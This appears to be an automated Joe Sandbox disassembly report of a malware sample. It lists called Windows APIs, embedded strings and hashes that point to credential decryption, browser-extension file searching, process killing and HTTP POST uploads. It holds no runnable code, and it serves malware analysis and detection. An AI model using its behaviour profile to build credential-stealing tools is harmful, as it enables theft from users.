GetProcessHeap.KERNEL32(00000000,00000000,?,00000001), ref: 0035AECE
HeapFree.KERNEL32(00000000,?,00000001), ref: 0035AED5
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0035B13D
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0035B295
RtlFreeHeap.NTDLL(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000002), ref: 0035B29C
GetProcessHeap.KERNEL32(00000000,00000000,?,00000001), ref: 0035BD80
HeapFree.KERNEL32(00000000,?,00000001), ref: 0035BD87

Part of subcall function 00356F10: Concurrency::cancel_current_task.LIBCPMT ref: 00356FE5

GetProcessHeap.KERNEL32(00000000,00000000,?,00000001), ref: 0035C2B6
HeapFree.KERNEL32(00000000,?,00000001), ref: 0035C2BD
GetProcessHeap.KERNEL32(00000000,00000000,?,00000001), ref: 0035C71A
RtlFreeHeap.NTDLL(00000000,?,00000001), ref: 0035C721
RtlFreeHeap.NTDLL(00000000), ref: 0035B144

Part of subcall function 00373C10: GetProcessHeap.KERNEL32(?,?,?), ref: 00373D5F
Part of subcall function 00373C10: RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 00373D69
Part of subcall function 00373C10: NtReadFile.NTDLL ref: 00373D9B

GetProcessHeap.KERNEL32(00000000,00000000,?,00000001), ref: 0035CB7E
HeapFree.KERNEL32(00000000,?,00000001), ref: 0035CB85
FindFirstFileA.KERNELBASE ref: 0035D0B2
FindNextFileA.KERNELBASE(?,?), ref: 0035D519
Sleep.KERNEL32(00000BB8,?,00000000,?,?), ref: 0035D724

Strings

NCo, xrefs: 0035B5FB

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Heap$Process$Free$File$Find$AllocateAttributesConcurrency::cancel_current_taskCreateFirstNextQueryReadSleep
String ID: NCo
API String ID: 2388217530-2199656919
Opcode ID: 39b5a8b56fdc6cc73721cd2eb8889f97a03317c527c541cb6c0adea28f3b1d4b
Instruction ID: 5397dd1d02cbd0a9d90660b23c5c4565fb3d4122330477f9fe8c228945ebe266
Opcode Fuzzy Hash: 39b5a8b56fdc6cc73721cd2eb8889f97a03317c527c541cb6c0adea28f3b1d4b
Instruction Fuzzy Hash: 9B63C471A102148FEB1EDF24CC95FADB772BF45305F1082D8E8096B6A2DB749AC98F51

Uniqueness

Uniqueness Score: -1.00%

Function 00356F10 Relevance: 36.0, APIs: 12, Strings: 7, Instructions: 2754COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00356FE5

Strings

\key, xrefs: 00357407
inc, xrefs: 003587DF
MyApp/1.0, xrefs: 0035D577
\Ext\, xrefs: 00357F36, 003589C1, 0035942E
NCo, xrefs: 0035B5FB
os_c, xrefs: 00357136
en_k, xrefs: 003571AD

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: MyApp/1.0$NCo$\Ext\$\key$en_k$inc$os_c
API String ID: 118556049-2782671678
Opcode ID: c41097598d98846a03815615bf176bae513b03423ccf49468bbc2743a67f6f66
Instruction ID: 56b72ebae3c7d1e4cf2abd8dbced5e63e63d47f5259aef7bb8bdc76b0c2c14ad
Opcode Fuzzy Hash: c41097598d98846a03815615bf176bae513b03423ccf49468bbc2743a67f6f66
Instruction Fuzzy Hash: D5330671A102148FDB1EDF24CC95FAEB771BF45301F108698E8096B6A2DB749AC9CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00356560 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?,?,00000000), ref: 00356588

Part of subcall function 00356F10: Concurrency::cancel_current_task.LIBCPMT ref: 00356FE5

Part of subcall function 00356F10: lstrlenA.KERNEL32(00000000), ref: 00357272

Part of subcall function 00356F10: GetProcessHeap.KERNEL32 ref: 003572B6
Part of subcall function 00356F10: HeapAlloc.KERNEL32(00000000,00000008,?), ref: 003572C0
Part of subcall function 00356F10: CryptUnprotectData.CRYPT32 ref: 00357349
Part of subcall function 00356F10: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00357352
Part of subcall function 00356F10: HeapFree.KERNEL32(00000000), ref: 00357359

Strings

Content-Type: application/octet-stream; boundary=----, xrefs: 00356C5C
xz:, xrefs: 00356A91
(, xrefs: 00356CBF
xz:, xrefs: 00356B14
[%:, xrefs: 003569EC
xz:, xrefs: 00356A6D
POST, xrefs: 00356C35
--------, xrefs: 00356D0E, 00356D1B
/?#, xrefs: 003569D0, 00356A9D

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Heap$Process$AllocConcurrency::cancel_current_taskCryptDataFreePathTempUnprotectlstrlen
String ID: --------$($/?#$Content-Type: application/octet-stream; boundary=----$POST$[%:$xz:$xz:$xz:
API String ID: 4232048245-4086417300
Opcode ID: 4c528e056a105c1a3934becf352db6a80d86feb09fa1ca8314d012994fd61fb5
Instruction ID: 440a4385b0c4562c95628ea467cb89f35166902c4f7ac21c121e11a7bee09f6a
Opcode Fuzzy Hash: 4c528e056a105c1a3934becf352db6a80d86feb09fa1ca8314d012994fd61fb5
Instruction Fuzzy Hash: C6A1F670A003009BD70AFF34C856BAE77A4BF56309F50464CF8455F2A2EB75E68A87D2

Uniqueness

Uniqueness Score: -1.00%

Function 0036C490 Relevance: 16.9, APIs: 3, Strings: 6, Instructions: 1133
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00356F10: Concurrency::cancel_current_task.LIBCPMT ref: 00356FE5

GetNativeSystemInfo.KERNELBASE(?), ref: 0036C761
KiUserCallbackDispatcher.NTDLL ref: 0036C792

Part of subcall function 00356F10: lstrlenA.KERNEL32(00000000), ref: 00357272

Part of subcall function 00356F10: GetProcessHeap.KERNEL32 ref: 003572B6
Part of subcall function 00356F10: HeapAlloc.KERNEL32(00000000,00000008,?), ref: 003572C0
Part of subcall function 00356F10: CryptUnprotectData.CRYPT32 ref: 00357349
Part of subcall function 00356F10: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00357352
Part of subcall function 00356F10: HeapFree.KERNEL32(00000000), ref: 00357359

Sleep.KERNEL32(00000BB8,?,00000000,?,?), ref: 0036D3BB

Strings

x86, xrefs: 0036C715
MyApp/1.0, xrefs: 0036D222
/Up, xrefs: 0036D33D
ref.txt, xrefs: 0036C3C3
.txt, xrefs: 0036D092
1715006195, xrefs: 0036CFAB, 0036CFB7

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Heap$Process$AllocCallbackConcurrency::cancel_current_taskCryptDataDispatcherFreeInfoNativeSleepSystemUnprotectUserlstrlen
String ID: .txt$/Up$1715006195$MyApp/1.0$ref.txt$x86
API String ID: 2845703258-3094677209
Opcode ID: 72f8df371f51f09986265fe1445c26167311bfe32a1bd21ba786306e3f2890d6
Instruction ID: 5ded90c274c6335b42a354fbb17c1c4b2ee55a3d231335c122af90771d3592eb
Opcode Fuzzy Hash: 72f8df371f51f09986265fe1445c26167311bfe32a1bd21ba786306e3f2890d6
Instruction Fuzzy Hash: 70A21770A143808BD72ADF34C855BEFB7E1AFD5304F148A1CF4894B6A2DB75A585CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00370940 Relevance: 15.7, APIs: 5, Strings: 3, Instructions: 1652COMMON

Download Yara Rule

Strings

unknown, xrefs: 00371C17
MyApp/1.0, xrefs: 00371E62
/Up/, xrefs: 00371FEA

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID: /Up/$MyApp/1.0$unknown
API String ID: 0-3989902347
Opcode ID: 3b47771956d4ce77dbae7ca87bce5592793b3a23f281eab134c9360bc1ac2f2d
Instruction ID: a46fa34dce60cbfcbe4474bada33462811fb24b647fe4430717e4aa5403f0017
Opcode Fuzzy Hash: 3b47771956d4ce77dbae7ca87bce5592793b3a23f281eab134c9360bc1ac2f2d
Instruction Fuzzy Hash: 14E2C5715183808FE73ADF28C895BAFB7E1BFC5314F148A1CE48D5B2A1DB7895858B42

Uniqueness

Uniqueness Score: -1.00%

Function 00373C10 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 190
memoryfilenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00373990: std::locale::_Init.LIBCPMT ref: 003739F9

NtCreateFile.NTDLL ref: 00373D3F
GetProcessHeap.KERNEL32(?,?,?), ref: 00373D5F
RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 00373D69
NtReadFile.NTDLL ref: 00373D9B

Strings

Kernel32.dll, xrefs: 00373CDF
@, xrefs: 00373CBB
:p5, xrefs: 00373C2B, 00373E06, 00373C2F, 00373E25
ntdll.dll, xrefs: 00373CAF

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: FileHeap$AllocateCreateInitProcessReadstd::locale::_
String ID: :p5$@$Kernel32.dll$ntdll.dll
API String ID: 2125253174-4168157494
Opcode ID: 7cbc073d39940dce6c33a97dc180a86ff72f6ba45d3d18fb2e5dc0cd1b52195c
Instruction ID: 33f8d3c9d42ef2d6af014c06d797d7b2c0720253e7b53b131c869c5bc8fe17ed
Opcode Fuzzy Hash: 7cbc073d39940dce6c33a97dc180a86ff72f6ba45d3d18fb2e5dc0cd1b52195c
Instruction Fuzzy Hash: 8E61A371E002089BDF26DFA4DC85BEEB7B9EF49310F108219F505BB290DB38AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0035CE40 Relevance: 12.9, APIs: 3, Strings: 4, Instructions: 652
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE ref: 0035D0B2
FindNextFileA.KERNELBASE(?,?), ref: 0035D519
Sleep.KERNEL32(00000BB8,?,00000000,?,?), ref: 0035D724

Strings

/Up/b, xrefs: 0035D6A0
@, xrefs: 0035CDC1
MyApp/1.0, xrefs: 0035D577
ntdll.dll, xrefs: 0035CD19

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: FileFind$FirstNextSleep
String ID: /Up/b$@$MyApp/1.0$ntdll.dll
API String ID: 2635277345-838716244
Opcode ID: 47645c5f7ea5cf50fe835b9c1ddddd7ae83a723e5e3cd36bc5298ccea93c9855
Instruction ID: 8d7afd45cd06e5370368e9b50ae1fb5210511040f85c9f4870497adb15e55293
Opcode Fuzzy Hash: 47645c5f7ea5cf50fe835b9c1ddddd7ae83a723e5e3cd36bc5298ccea93c9855
Instruction Fuzzy Hash: E532F4715083808FD72ADF24C845F6FB7E1BF85305F148A1CF8858B6A2EB75D5898B92

Uniqueness

Uniqueness Score: -1.00%

Function 003741E0 Relevance: 12.2, APIs: 8, Instructions: 160
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00374203
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00374223
OpenProcess.KERNEL32(00000001,00000000,?,?,?,?), ref: 00374377
TerminateProcess.KERNEL32(00000000,00000000,?,?,?), ref: 00374386
CloseHandle.KERNEL32(00000000,?,?,?), ref: 0037438D
Process32NextW.KERNEL32(?,0000022C), ref: 003743A1
CloseHandle.KERNEL32(00000000), ref: 003743B7
Sleep.KERNELBASE(000003E8), ref: 003743C2

Part of subcall function 00373990: std::locale::_Init.LIBCPMT ref: 003739F9

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstInitNextOpenSleepSnapshotTerminateToolhelp32std::locale::_
String ID:
API String ID: 2916365046-0
Opcode ID: 439b53793e0593b63cb513bec675a7da5446332a024882476641b8efd92a6ee9
Instruction ID: 4a2cc428a2a59c132ca01f153c16b811626db4d748539177df75c6c7b3cfae23
Opcode Fuzzy Hash: 439b53793e0593b63cb513bec675a7da5446332a024882476641b8efd92a6ee9
Instruction Fuzzy Hash: 8F51D3359052288BDB369F24DCCDBADB778EB44301F1085D9E90EA7291D739AE94CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0036F560 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 186
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00374780: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,?,?,?,?,00000000,811C9DC5,00000000), ref: 00374832

InternetOpenUrlA.WININET ref: 0036F69D
Sleep.KERNEL32(000007D0), ref: 0036F6B2
InternetReadFile.WININET ref: 0036F707
InternetReadFile.WININET ref: 0036F79C

Strings

Kernel32.dll, xrefs: 0036F584
Wininet.dll, xrefs: 0036F5A7

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Internet$FileRead$ByteCharMultiOpenSleepWide
String ID: Kernel32.dll$Wininet.dll
API String ID: 4155548564-3787353695
Opcode ID: 231bcdb5fb10feb4ca5710f31c17539302797a9d827b6743bbc4acb68bc57c82
Instruction ID: 23fb4c93c6a498fd0444a917d2c9c0e0b1be4847d9feeef41f3681e01c63cd98
Opcode Fuzzy Hash: 231bcdb5fb10feb4ca5710f31c17539302797a9d827b6743bbc4acb68bc57c82
Instruction Fuzzy Hash: AB7175B5A011289FCB21DF24CC85B9DB7B8EF48310F4041EAE609B7251DB70AE85CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00357A49 Relevance: 10.6, APIs: 3, Strings: 2, Instructions: 1828COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE ref: 00357C0B

Strings

inc, xrefs: 003587DF
\Ext\, xrefs: 00357F36, 003589C1, 0035942E

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: AttributesFile
String ID: \Ext\$inc
API String ID: 3188754299-3864405785
Opcode ID: a8b21051f99f12663e274a7a79f75234485b5f6902037e07aed83f927b39ba70
Instruction ID: 06c4e1d3d5aa37cefd915bc6bc13c53115e9bb3b49530665d8a85496ead3502d
Opcode Fuzzy Hash: a8b21051f99f12663e274a7a79f75234485b5f6902037e07aed83f927b39ba70
Instruction Fuzzy Hash: DFF2D6719102148FDB1EDF24CC99FADB772BF45301F148699E8096B6B2DB749AC98F40

Uniqueness

Uniqueness Score: -1.00%

Function 00357A4E Relevance: 10.6, APIs: 3, Strings: 2, Instructions: 1827COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE ref: 00357C0B

Strings

inc, xrefs: 003587DF
\Ext\, xrefs: 00357F36, 003589C1, 0035942E

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: AttributesFile
String ID: \Ext\$inc
API String ID: 3188754299-3864405785
Opcode ID: 151b9157c63f50dd6448af1184d540cbb18a77d35e03b49ed1164a1405820dda
Instruction ID: 015f72206ef77bc42f323c2c075f7bce1db4ca6fb13059c4d2cd765298a3fd3d
Opcode Fuzzy Hash: 151b9157c63f50dd6448af1184d540cbb18a77d35e03b49ed1164a1405820dda
Instruction Fuzzy Hash: 82F2D571A102148FDB1EDF24CC99FADB772BF45301F148699E8096B6B2DB749AC98F40

Uniqueness

Uniqueness Score: -1.00%

Function 00387A30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 408
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00387E75,00000000,00000000,00000000), ref: 00387D34

Strings

}~8, xrefs: 00387D0A, 00387D0D
W. Europe Summer Time, xrefs: 00387DE1
W. Europe Standard Time, xrefs: 00387DCD
u~8, xrefs: 00387C64, 00387C1D

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: InformationTimeZone
String ID: W. Europe Standard Time$W. Europe Summer Time$u~8$}~8
API String ID: 565725191-1817765445
Opcode ID: 54f3291e7f34a366396db0787630bf5843adc170e0ea142cc7a901fdd8b25bf2
Instruction ID: cac8c5e935a9df54b6b02a0e59e67790c6b22ab29bb5b605115c6156648fbac8
Opcode Fuzzy Hash: 54f3291e7f34a366396db0787630bf5843adc170e0ea142cc7a901fdd8b25bf2
Instruction Fuzzy Hash: 0CC12572904311ABDB27BB64DC42ABE77BAEF04750F2540A6F901EB291EB70DE40D790

Uniqueness

Uniqueness Score: -1.00%

Function 003648B3 Relevance: 5.5, Strings: 4, Instructions: 499
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

object separator, xrefs: 0036512C, 0036543A
array, xrefs: 0036530D
object key, xrefs: 003651D7, 003654F5
object, xrefs: 003653C8

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID: array$object$object key$object separator
API String ID: 0-2277530871
Opcode ID: b92b8ad7224a4335977c17e5c1221d04afa4593d451359ed47203ffd71e1d8ff
Instruction ID: 7ac756d5a10d66171ab14d7221afe25d0cffc25b06c5530be82e21ce5fc8f168
Opcode Fuzzy Hash: b92b8ad7224a4335977c17e5c1221d04afa4593d451359ed47203ffd71e1d8ff
Instruction Fuzzy Hash: 1512C4705187859FD32ADF24C851BAAB7F8BF85300F408A2DF586C7595EB70E644CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00370B19 Relevance: 3.9, APIs: 2, Instructions: 881COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fa6bcf462dfe101e1eee8081a6e4d369413400781b65f1a12225bf0fe7639ae
Instruction ID: 3530133dad9da70c22d5e75e91a037eb711af09fdc3ae58dccd99d9f76481fd2
Opcode Fuzzy Hash: 8fa6bcf462dfe101e1eee8081a6e4d369413400781b65f1a12225bf0fe7639ae
Instruction Fuzzy Hash: 9182B3315183808FE73EDF28C895BEFB7E1BF85304F148A1DE4895B6A1DB7895858B42

Uniqueness

Uniqueness Score: -1.00%

Function 003701C0 Relevance: 3.6, APIs: 2, Instructions: 626fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE ref: 0037023D
PathMatchSpecA.SHLWAPI(?,?), ref: 0037033D

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: FileFindFirstMatchPathSpec
String ID:
API String ID: 1021465796-0
Opcode ID: c2fa82ba05be4062dc3c8764b1f0d3452e4bb7a2d3cbc79b22f6fbb16bb8d2f6
Instruction ID: 18dcc769bdddb8a73d52412f7ddc111a99fa08d48ec4f70c865f3015524b28e2
Opcode Fuzzy Hash: c2fa82ba05be4062dc3c8764b1f0d3452e4bb7a2d3cbc79b22f6fbb16bb8d2f6
Instruction Fuzzy Hash: DA42E471508380CBD73ACF28C8947ABB7E1BFC5314F148A5CE4999B2A2D775D985CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0036B4B0 Relevance: 3.6, APIs: 2, Instructions: 585
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0036B679

Part of subcall function 00356F10: Concurrency::cancel_current_task.LIBCPMT ref: 00356FE5

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,00000001,?,?,?,?,003A3D14,00000001), ref: 0036B8FB

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ByteCharConcurrency::cancel_current_taskLibraryLoadMultiWide
String ID:
API String ID: 1730022097-0
Opcode ID: 4fc5cbf6183f1f165b16da5200c135830c097e80932db5f47ca30336e4c517b9
Instruction ID: 3770dbd927c79637d86d184d3ac05a465f9124143cfe645679b3aa188118a4bd
Opcode Fuzzy Hash: 4fc5cbf6183f1f165b16da5200c135830c097e80932db5f47ca30336e4c517b9
Instruction Fuzzy Hash: A332E631E102188BDB1ADF24CC95BEDB775FF4A304F148299E409AB295DB74AAC5CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0035D7D0 Relevance: 3.5, APIs: 2, Instructions: 530COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

